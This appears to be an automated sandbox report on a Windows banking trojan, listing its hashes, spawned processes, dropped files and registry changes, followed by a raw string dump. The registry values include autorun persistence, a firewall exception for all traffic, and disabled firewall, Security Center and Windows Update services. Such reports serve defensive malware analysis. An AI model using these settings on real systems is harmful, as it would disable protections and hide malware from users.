MD5: 260b44e459b9c7a90cc0e10c053c5480
SHA1: 5ed6a9b0b16d31e5c5a2264c06d7e71b7ebd3f7f
SHA256: aec47306c9d0c4441e02f122dab6d06760663e7a4aff238485d0d1ae730c564d
SSDeep: 49152:Y50a52YLzyF86NDbNko5mvrKgh1EV139A4fklTE1JWeCyGg:YSdvHjQvrHhqV1tAcoYL
Size: 2156544 bytes
File type: EXE
Platform: WIN32
Entropy: Packed
PEID: UPolyXv05_v6
Company: no certificate found
Created at: 1992-06-20 01:22:17
Analyzed on: WindowsXPESX SP3 32-bit

Summary:

Banker. Steals data relating to online banking systems, e-payment systems and credit card systems.

Payload

Process activity

The GenPack creates the following process(es):

WinRoot32.exe:332
%original file name%.exe:316
DUMETER-INSTALL.EXE:1612
DIRECTX9.EXE:828
regedit.exe:1096

The GenPack injects its code into the following process(es):

DUMETER-INSTALL.EXE.tmp:2032

Mutexes

The following mutexes were created/opened:
No objects were found.

File activity

The process DUMETER-INSTALL.EXE.tmp:2032 makes changes in the file system.
The GenPack creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\is-R18F7.tmp\DUMonCtl.dll (4185 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\is-R18F7.tmp\_isetup\_shfoldr.dll (23 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\is-R18F7.tmp\_isetup\_RegDLL.tmp (3 bytes)

The process WinRoot32.exe:332 makes changes in the file system.
The GenPack creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\IZQOY1T4\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OD23GXMZ\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\G1YJKLEZ\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\CDANOXI3\desktop.ini (67 bytes)
C:\a.bat (5 bytes)

The process %original file name%.exe:316 makes changes in the file system.
The GenPack creates and/or writes to the following file(s):

%System%\DIRECTX9.EXE (271 bytes)
%System%\DUMETER-INSTALL.EXE (9606 bytes)

The process DUMETER-INSTALL.EXE:1612 makes changes in the file system.
The GenPack creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\is-77IHN.tmp\DUMETER-INSTALL.EXE.tmp (3754 bytes)

The process DIRECTX9.EXE:828 makes changes in the file system.
The GenPack creates and/or writes to the following file(s):

%System%\WinRoot32.exe (502 bytes)

The GenPack deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\~DF94B8.tmp (0 bytes)

Registry activity

The process DUMETER-INSTALL.EXE.tmp:2032 makes changes in the system registry.
The GenPack creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "A8 A1 0A 10 1D FC C2 45 F2 77 94 CE 14 47 7A 17"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Classes\CLSID\{DB450005-9764-11D6-819E-005056C00008}\LocalServer32]
"(Default)" = "C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\is-77IHN.tmp\DUMETER-INSTALL.EXE.tmp"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Programs" = "%Documents and Settings%\%current user%\Start Menu\Programs"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Classes\CLSID\{DB450005-9764-11D6-819E-005056C00008}\LocalServer32]
"Params" = "00 C8 A3 00 00 00 00 00 00 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

To automatically run itself each time Windows is booted, the GenPack adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"DU Meter" = "C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\is-77IHN.tmp\DUMeter.exe"

The process WinRoot32.exe:332 makes changes in the system registry.
The GenPack creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKCU\Software\Microsoft\OLE]
"Windows Framwork Services" = "WinRoot32.exe"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\System\CurrentControlSet\Control\Lsa]
"RestrictAnonymous" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 16 00 00 00 01 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "BF A3 43 41 8A 43 48 4A 1C FB AE 2E 75 29 65 C9"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKLM\SOFTWARE\Microsoft\Ole]
"EnableDCOM" = "N"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

To automatically run itself each time Windows is booted, the GenPack adds the following link to its file to the system registry autorun key:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Runservices]
"Windows Framwork Services" = "WinRoot32.exe"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

To automatically run itself each time Windows is booted, the GenPack adds the following link to its file to the system registry autorun key:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Windows Framwork Services" = "WinRoot32.exe"

Adds a rule to the firewall Windows which allows any network activity:

[HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List]
"(Default)" = ":*:Enabled:Windows Framwork Services"

The GenPack deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process %original file name%.exe:316 makes changes in the system registry.
The GenPack creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "FD 23 89 44 22 66 63 EF 33 5B 03 C6 49 B1 C8 83"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%System%]
"DUMETER-INSTALL.EXE" = "DU Meter Setup"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%System%]
"DIRECTX9.EXE" = "DIRECTX9"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

The GenPack modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The GenPack modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

"UNCAsIntranet" = "1"

The GenPack modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

The process DUMETER-INSTALL.EXE:1612 makes changes in the system registry.
The GenPack creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "E7 07 6B FC 36 CC 97 D0 CF FE 30 B7 65 AE 46 B9"

The process DIRECTX9.EXE:828 makes changes in the system registry.
The GenPack creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "14 B0 A5 E3 15 8D B5 45 3E 27 2C DD FB 8B 3A A2"

The process regedit.exe:1096 makes changes in the system registry.
The GenPack creates and/or sets the following values in system registry:

[HKLM\System\CurrentControlSet\Services\Tcpip\Parameters]
"GlobalMaxTcpWindowSize" = "512512"
"BcastQueryTimeout" = "750"
"EnableICMPRedirect" = "0"
"DNSQueryTimeouts" = "1, , , 2, , , 2, , , 4, , , 8, , , 0, , ,"
"StandardAddressLength " = "24"
"IPEnableRouter" = "0"
"QueryIpMatching" = "0"
"OverheadChargeGranularity" = "1"

[HKLM\System\CurrentControlSet\Services\lanmanserver\parameters]
"AutoShareWks" = "0"

[HKLM\System\CurrentControlSet\Services\Tcpip\Parameters]
"CacheTimeout" = "60000"
"PriorityBoost" = "2"

[HKLM\System\CurrentControlSet\Services\NetBT\Parameters]
"TransportBindName" = ""

[HKLM\System\CurrentControlSet\Services\Tcpip\Parameters]
"LargeBufferListDepth" = "10"
"MaxFreeTcbs" = "2000"

"MaxFastTransmit" = "64"
"TcpMaxHalfOpenRetried" = "80"
"TcpSendSegmentSize" = "1413"
"TcpTimedWaitDelay" = "0"
"MaxFreeTWTcbs" = "2000"
"Tcp1323Opts" = "3"
"FastSendDatagramThreshold " = "1024"
"MaxNormLookupMemory" = "200000"
"PerformRouterDiscovery" = "0"
"LargeBufferSize" = "4096"
"DynamicBacklogGrowthDelta" = "50"
"UpdateSecurityLevel " = "0"
"DefaultRegistrationTTL" = "20"
"TcpMaxDupAcks" = "1"
"TcpMaxHalfOpen" = "75"
"FFPControlFlags" = "1"
"Size/Small/Medium/Large" = "3"
"SackOpts" = "1"
"IrpStackSize" = "4"
"UseDomainNameDevolution" = "1"
"EnablePMTUBHDetect" = "0"
"DefaultTTL" = "48"
"SmallerBufferSize" = "128"
"DisableReverseAddressRegistrations" = "1"
"EnableFastRouteLookup" = "1"

[HKLM\System\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\PCT1.0\Server]
"Enabled" = "00"

[HKLM\System\CurrentControlSet\Services\Tcpip\Parameters]
"ForwardBufferMemory" = "105975"
"MaxForwardBufferMemory" = "105975"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MaxConnectionsPer1_0Server" = "80"

[HKLM\System\CurrentControlSet\Services\Tcpip\Parameters]
"BcastNameQueryCount" = "1"
"EnableSecurityFilters" = "1"
"DisableRawSecurity" = "0"
"DefaultReceiveWindow " = "16384"

[HKLM\SOFTWARE\Microsoft\Ole]
"EnableRemoteConnect" = "N"

[HKLM\System\CurrentControlSet\Services\Tcpip\Parameters]
"SmallBufferListDepth" = "32"
"IgnorePushBitOnReceives" = "0"
"TcpWindowSize" = "512512"
"EnableDeadGWDetect" = "0"
"MaxActiveTransmitFileCount" = "2"
"DisableAddressSharing" = "0"
"NoNameReleaseOnDemand" = "1"
"FastCopyReceiveThreshold" = "1024"
"KeepAliveTime" = "144000"

[HKLM\System\CurrentControlSet\Control\Lsa]
"RestrictAnonymous" = "1"

[HKLM\System\CurrentControlSet\Services\Tcpip\Parameters]
"BufferMultiplier" = "512"
"NameServer" = ""

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "79 CF 37 49 FE 0E EA 51 11 A9 33 92 AC 5D FC 6A"

[HKLM\System\CurrentControlSet\Services\Tcpip\Parameters]
"Domain" = ""
"TransmitWorker" = "32"
"TcpRecvSegmentSize" = "1413"
"TCP1320Opts" = "3"
"FFPFastForwardingCacheSize" = "200000"
"DisableReplaceAddressesInConflicts" = "0"
"AllowUserRawAccess" = "0"
"DefaultSendWindow" = "16384"

[HKLM\System\CurrentControlSet\Services\lanmanserver\parameters]
"AutoShareServer" = "0"

[HKLM\System\CurrentControlSet\Services\Tcpip\Parameters]
"DontAddDefaultGatewayDefault" = "0"
"SearchList" = ""
"SynAckProtect" = "2"
"PrioritizeRecordData" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MaxConnectionsPerServer" = "80"

[HKLM\SOFTWARE\Microsoft\Ole]
"EnableDCOM" = "N"

[HKLM\System\CurrentControlSet\Services\Tcpip\Parameters]
"MaxHashTableSize" = "2048"
"DisjointNameSpace" = "1"
"AllowUnqualifiedQuery" = "0"
"DeadGWDetectDefault" = "1"
"ForwardBroadcasts" = "0"
"EnablePMTUDiscovery" = "1"

The following service is disabled:

[HKLM\System\CurrentControlSet\Services\SharedAccess]
"Start" = "4"

[HKLM\System\CurrentControlSet\Services\wscsvc]
"Start" = "4"

[HKLM\System\CurrentControlSet\Services\wuauserv]
"Start" = "4"

Dropped PE files

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

VersionInfo

No information is available.

PE Sections

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

URLs

No activity has been detected.

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

Web Traffic was not found.

The GenPack connects to the servers at the folowing location(s):

.idata

.rdata

P.reloc

P.rsrc

kernel32.dll

.DEFAULT\Control Panel\International

File I/O error %d

lzma: Compressed data is corrupted (%d)

LzmaDecode failed (%d)

shell32.dll

/SL5="$%x,%d,%d,

Inno Setup Setup Data (5.2.0)

Inno Setup Messages (5.1.11)

user32.dll

oleaut32.dll

advapi32.dll

RegOpenKeyExA

RegCloseKey

GetWindowsDirectoryA

MsgWaitForMultipleObjects

ExitWindowsEx

comctl32.dll

name="JR.Inno.Setup"

version="1.0.0.0"

name="Microsoft.Windows.Common-Controls"

version="6.0.0.0"

publicKeyToken="6595b64144ccf1df"

<requestedExecutionLevel level="asInvoker" uiAccess="false"/>

<asmv3:windowsSettings xmlns="hXXp://schemas.microsoft.com/SMI/2005/WindowsSettings">

</asmv3:windowsSettings>

!'%s' is not a valid integer value('%s' is not a valid floating point value

'%s' is not a valid date

'%s' is not a valid time!'%s' is not a valid date and time

I/O error %d

Integer overflow Invalid floating point operation

Invalid pointer operation

Invalid class typecast0Access violation at address %p. %s of address %p

Operation aborted%Exception %s in module %s at %p.

Application Error1Format '%s' invalid or incompatible with argument

No argument for format '%s'

Invalid variant operation"Variant method calls not supported

External exception %x

DUMETER-INSTALL.EXE.tmp_2032:

.idata

.rdata

P.reloc

P.rsrc

%s_%d

EInvalidOperation

TKeyEvent

TKeyPressEvent

crSQLWait

t.HtR

EInvalidGraphicOperation

TWindowState

poProportional

KeyPreview

WindowState

OnKeyDown

OnKeyPressP,A

OnKeyUp

CTL3D32.DLL

PasswordChar

ssHorizontal

kernel32.dll

RegDeleteKeyExA

advapi32.dll

.DEFAULT\Control Panel\International

user32.dll

TPSExec

TPSRuntimeClassImporter

TPSExportedVar

Uh{%C

Cannot Import

Interface not supported

TPSCustomDebugExec

TPSDebugExec

uxtheme.dll

oleacc.dll

RICHED20.DLL

RICHED32.DLL

File I/O error %d

Messages file "%s" is missing. Please correct the problem or obtain a new copy of the program.

shell32.dll

HKEY_CLASSES_ROOT

HKEY_CURRENT_USER

HKEY_LOCAL_MACHINE

HKEY_USERS

HKEY_PERFORMANCE_DATA

HKEY_CURRENT_CONFIG

HKEY_DYN_DATA

WININIT.INI

t.Htb

Software\Microsoft\Windows\CurrentVersion\SharedDLLs

RegCreateKeyEx

RegOpenKeyEx

sfc.dll

cmd.exe" /C "

COMMAND.COM" /C

PendingFileRenameOperations

PendingFileRenameOperations2

Software\Microsoft\Windows\CurrentVersion\Fonts

Software\Microsoft\Windows NT\CurrentVersion\Fonts

OLEAUT32.DLL

Log opened. (Time zone: UTC%s%.2u:%.2u)

%s Log %s #%.3u.txt

MsgWaitForMultipleObjects

regsvr32.exe"

Spawning _RegDLL.tmp

_isetup\_RegDLL.tmp

_RegDLL.tmp %u %u

REGDLL failed with exit code 0x%x

REGDLL mutex wait failed (%d, %d)

REGDLL returned unknown result code %d

Cannot register 64-bit DLLs on this version of Windows

HELPER_EXE_AMD64

HELPER_EXE_IA64

Cannot utilize 64-bit features on this version of Windows

64-bit helper EXE wasn't extracted

\\.\pipe\InnoSetup64BitHelper-%.8x-%.8x-%.8x-%.8x%.8x

CreateNamedPipe

SetNamedPipeHandleState

helper %d 0x%x

Helper process PID: %u

Stopping 64-bit helper process. (PID: %u)

Helper process exited with failure code: 0x%x

TransactNamedPipe

TransactNamedPipe/GetOverlappedResult

Helper: Command did not execute

MoveFileEx failed (%d).

Deleting directory: %s

Failed to delete directory (%d). Will retry later.

Failed to delete directory (%d). Will delete on restart (if empty).

Failed to delete directory (%d).

Deleting file: %s

Failed to delete the file; it may be in use (%d).

The file appears to be in use (%d). Will delete on restart.

Decrementing shared count (%d-bit): %s

Unregistering 64-bit DLL/OCX: %s

Unregistering 32-bit DLL/OCX: %s

Not unregistering DLL/OCX again: %s

Unregistering 64-bit type library: %s

Unregistering 32-bit type library: %s

Running Exec filename:

Running Exec parameters:

CreateProcess failed (%d).

Running ShellExec filename:

Running ShellExec parameters:

ShellExecuteEx failed (%d).

Skipping RunOnceId "%s" filename: %s

Unregistering font: %s

zlib: Internal error. Code %d

1.2.1

bzlib: Internal error. Code %d

lzma: Compressed data is corrupted (%d)

LzmaDecode failed (%d)

TPasswordEdit

PasswordEdit(

Password

c:\directory

Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced

PasswordPage

PasswordLabel

PasswordEdit

PasswordEditLabel

Could not find page with ID %d

Software\Microsoft\Windows\CurrentVersion\Uninstall

%s\%s_is1

CheckPassword

/:*?"<>|

\/:*?"<>|

%s-%d.bin

%s-%d%s.bin

..\DISK%d\

Asking user for new disk containing "%s".

Cannot read an encrypted file before the key has been set

File isn't an EXE file (1)

<requestedExecutionLevel level="

LoggedMsgBox returned an unexpected value. Assuming Abort.

Software\Microsoft\Windows\CurrentVersion\Uninstall\

5.2.0

URLInfoAbout

URLUpdateInfo

Creating directory: %s

Setting permissions on directory: %s

Failed to set permissions on directory (%d).

Setting NTFS compression on directory: %s

Unsetting NTFS compression on directory: %s

Failed to set NTFS compression state (%d).

IMsg

Failed to set value in Fonts registry key.

Failed to open Fonts registry key.

Setting permissions on file: %s

Failed to set permissions on file (%d).

Setting NTFS compression on file: %s

Unsetting NTFS compression on file: %s

Dest filename: %s

Dest file is protected by Windows File Protection.

Time stamp of our file: %s

Time stamp of existing file: %s

Version of our file: %u.%u.%u.%u

Version of existing file: %u.%u.%u.%u

Existing file is protected by Windows File Protection. Skipping.

Uninstaller requires administrator: %s

The existing file appears to be in use (%d). Will replace on restart.

The existing file appears to be in use (%d). Retrying.

Registering file as a font ("%s")

Cannot install files to 64-bit locations on this version of Windows

Filename: %s

target.lnk

Desktop.ini

Software\Microsoft\Windows\CurrentVersion\App Paths\

Setting permissions on registry key: %s\%s

Could not set permissions on the registry key because it currently does not exist.

Failed to set permissions on registry key (%d).

Cannot access 64-bit registry keys on this version of Windows

Registration executable created: %s

Software\Microsoft\Windows\CurrentVersion\RunOnce

Registering 64-bit DLL/OCX: %s

Registering 32-bit DLL/OCX: %s

Registering 64-bit type library: %s

Registering 32-bit type library: %s

Directory for uninstall files: %s

Will append to existing uninstall log: %s

Will overwrite existing uninstall log: %s

Creating new uninstall log: %s

LoggedMsgBox returned an unexpected value. Assuming Cancel.

Fatal exception during installation process (%s):

ExtractTemporaryFile: The file "%s" was not found

Invalid symbol '%s' found

Invalid token '%s' found

QuerySpawnServer: Unexpected response: $%x

CallSpawnServer: Unexpected response: $%x

CallSpawnServer: Unexpected status: %d

/SPAWNWND=$%x /NOTIFYWND=$%x

ShellExecuteEx

ShellExecuteEx returned hProcess=0

Wnd=$%x

FormKeyDown

PasswordCheckHash

Expression error '%s'

Cannot evaluate "%s" constant during Uninstall

Cannot access a 64-bit key in a "reg" constant on this version of Windows

Unknown custom message name "%s" in "cm" constant

srcexe

Cannot expand "pf64" constant on this version of Windows

Cannot expand "cf64" constant on this version of Windows

uninstallexe

Failed to expand shell folder constant "%s"

Unknown constant "%s"

Software\Microsoft\Windows\CurrentVersion

SOFTWARE\Microsoft\Windows NT\CurrentVersion

cmd.exe

COMMAND.COM

\_RegDLL.tmp

REGDLL_EXE

\_setup64.tmp

_isetup\_shfoldr.dll

Failed to get version numbers of _shfoldr.dll

shfolder.dll

Failed to load DLL "%s"

Found pending rename or delete that matches one of our files: %s

Windows version: %u.%.2u.%u%s (NT platform: %s)

64-bit Windows: %s

Processor architecture: %s

Defaulting to %s for suppressed message box (%s):

Message box (%s):

User chose %s.

MsgBox failed.

64-bit install mode: %s

%d.%.*d

_isetup\_isdecmp.dll

_isetup\_iscrypt.dll

/Password=

/SuppressMsgBoxes

/DETACHEDMSG

-0.bin

Setup version: Inno Setup version 5.2.0

Original Setup EXE:

Windows NT

Windows

Not restarting Windows because Setup is being run from the debugger.

Restarting Windows.

Inno Setup version 5.2.0

Portions Copyright (C) 2000-2007 Martijn Laan

hXXp://VVV.innosetup.com/

hXXp://VVV.remobjects.com/?ps

Cannot run files in 64-bit locations on this version of Windows

Type: Exec

Type: ShellExec

Process exit code: %u

Need to restart Windows? %s

Will not restart Windows automatically.

System\CurrentControlSet\Control\Windows

TOutputMsgWizardPage

TOutputMsgMemoWizardPage

TOutputMsgMemoWizardPage@

PASSWORDLABEL

PASSWORDEDIT

PASSWORDEDITLABEL

MsgLabel

Msg1Label

Msg2Label

function CreateOutputMsgPage(const AfterID: Integer; const ACaption, ADescription, AMsg: String): TOutputMsgWizardPage;

function CreateOutputMsgMemoPage(const AfterID: Integer; const ACaption, ADescription, ASubCaption, AMsg: String): TOutputMsgMemoWizardPage;

function MsgBox(const Text: String; const Typ: TMsgBoxType; const Buttons: Integer): Integer;

function GetIniString(const Section, Key, Default, Filename: String): String;

function GetIniInt(const Section, Key: String; const Default, Min, Max: Longint; const Filename: String): Longint;

function GetIniBool(const Section, Key: String; const Default: Boolean; const Filename: String): Boolean;

function IniKeyExists(const Section, Key, Filename: String): Boolean;

function SetIniString(const Section, Key, Value, Filename: String): Boolean;

function SetIniInt(const Section, Key: String; const Value: Longint; const Filename: String): Boolean;

function SetIniBool(const Section, Key: String; const Value: Boolean; const Filename: String): Boolean;

procedure DeleteIniEntry(const Section, Key, Filename: String);

function GetCmdTail: String;

function StringChangeEx(var S: String; const FromStr, ToStr: String; const SupportDBCS: Boolean): Integer;

function RegValueExists(const RootKey: Integer; const SubKeyName, ValueName: String): Boolean;

function RegQueryStringValue(const RootKey: Integer; const SubKeyName, ValueName: String; var ResultStr: String): Boolean;

function RegQueryMultiStringValue(const RootKey: Integer; const SubKeyName, ValueName: String; var ResultStr: String): Boolean;

function RegDeleteKeyIncludingSubkeys(const RootKey: Integer; const SubkeyName: String): Boolean;

function RegDeleteKeyIfEmpty(const RootKey: Integer; const SubkeyName: String): Boolean;

function RegKeyExists(const RootKey: Integer; const SubKeyName: String): Boolean;

function RegDeleteValue(const RootKey: Integer; const SubKeyName, ValueName: String): Boolean;

function RegGetSubkeyNames(const RootKey: Integer; const SubKeyName: String; var Names: TArrayOfString): Boolean;

function RegGetValueNames(const RootKey: Integer; const SubKeyName: String; var Names: TArrayOfString): Boolean;

function RegQueryDWordValue(const RootKey: Integer; const SubKeyName, ValueName: String; var ResultDWord: Cardinal): Boolean;

function RegQueryBinaryValue(const RootKey: Integer; const SubKeyName, ValueName: String; var ResultStr: String): Boolean;

function RegWriteStringValue(const RootKey: Integer; const SubKeyName, ValueName, Data: String): Boolean;

function RegWriteExpandStringValue(const RootKey: Integer; const SubKeyName, ValueName, Data: String): Boolean;

function RegWriteMultiStringValue(const RootKey: Integer; const SubKeyName, ValueName, Data: String): Boolean;

function RegWriteDWordValue(const RootKey: Integer; const SubKeyName, ValueName: String; const Data: Cardinal): Boolean;

function RegWriteBinaryValue(const RootKey: Integer; const SubKeyName, ValueName, Data: String): Boolean;

function CheckForMutexes(Mutexes: String): Boolean;

function Exec(const Filename, Params, WorkingDir: String; const ShowCmd: Integer; const Wait: TExecWait; var ResultCode: Integer): Boolean;

function ExecAsOriginalUser(const Filename, Params, WorkingDir: String; const ShowCmd: Integer; const Wait: TExecWait; var ResultCode: Integer): Boolean;

function ShellExec(const Verb, Filename, Params, WorkingDir: String; const ShowCmd: Integer; const Wait: TExecWait; var ErrorCode: Integer): Boolean;

function ShellExecAsOriginalUser(const Verb, Filename, Params, WorkingDir: String; const ShowCmd: Integer; const Wait: TExecWait; var ErrorCode: Integer): Boolean;

function MakePendingFileRenameOperationsChecksum: String;

function CreateShellLink(const Filename, Description, ShortcutTo, Parameters, WorkingDir, IconFilename: String; const IconIndex, ShowCmd: Integer): String;

function ExitSetupMsgBox: Boolean;

function GetWindowsVersion: Cardinal;

procedure GetWindowsVersionEx(var Version: TWindowsVersion);

function GetWindowsVersionString: String;

function SuppressibleMsgBox(const Text: String; const Typ: TMsgBoxType; const Buttons, Default: Integer): Integer;

function CustomMessage(const MsgName: String): String;

function SendMessage(const Wnd: HWND; const Msg, WParam, LParam: Longint): Longint;

function PostMessage(const Wnd: HWND; const Msg, WParam, LParam: Longint): Boolean;

function SendNotifyMessage(const Wnd: HWND; const Msg, WParam, LParam: Longint): Boolean;

function SendBroadcastMessage(const Msg, WParam, LParam: Longint): Longint;

function PostBroadcastMessage(const Msg, WParam, LParam: Longint): Boolean;

function SendBroadcastNotifyMessage(const Msg, WParam, LParam: Longint): Boolean;

procedure RaiseException(const Msg: String);

function SetPreviousData(const PreviousDataKey: Integer; const ValueName, ValueData: String): Boolean;

Cannot call "%s" function during Setup

Cannot call "%s" function during Uninstall

CREATEOUTPUTMSGPAGE

CREATEOUTPUTMSGMEMOPAGE

MSGBOX

Invalid RootKey value

INIKEYEXISTS

GETCMDTAIL

REGKEYEXISTS

REGDELETEKEYINCLUDINGSUBKEYS

REGDELETEKEYIFEMPTY

REGGETSUBKEYNAMES

CHECKFORMUTEXES

SHELLEXEC

SHELLEXECASORIGINALUSER

MAKEPENDINGFILERENAMEOPERATIONSCHECKSUM

Unknown custom message name "%s"

EXITSETUPMSGBOX

GETWINDOWSVERSION

GETWINDOWSVERSIONSTRING

%u.%.2u.%u

SUPPRESSIBLEMSGBOX

%u.%u.%u.%u

Cannot disable FS redirection on this version of Windows

GetWindowsVersionEx

Runtime Error (at %d:%d):

Exception "%s" at address %p

TScriptRunner.SetPSExecParameters: Invalid type

TScriptRunner.LoadScript failed

Remove shared file %s? User chose %s%s

/SECONDPHASE="%s" /FIRSTPHASEWND=$%x

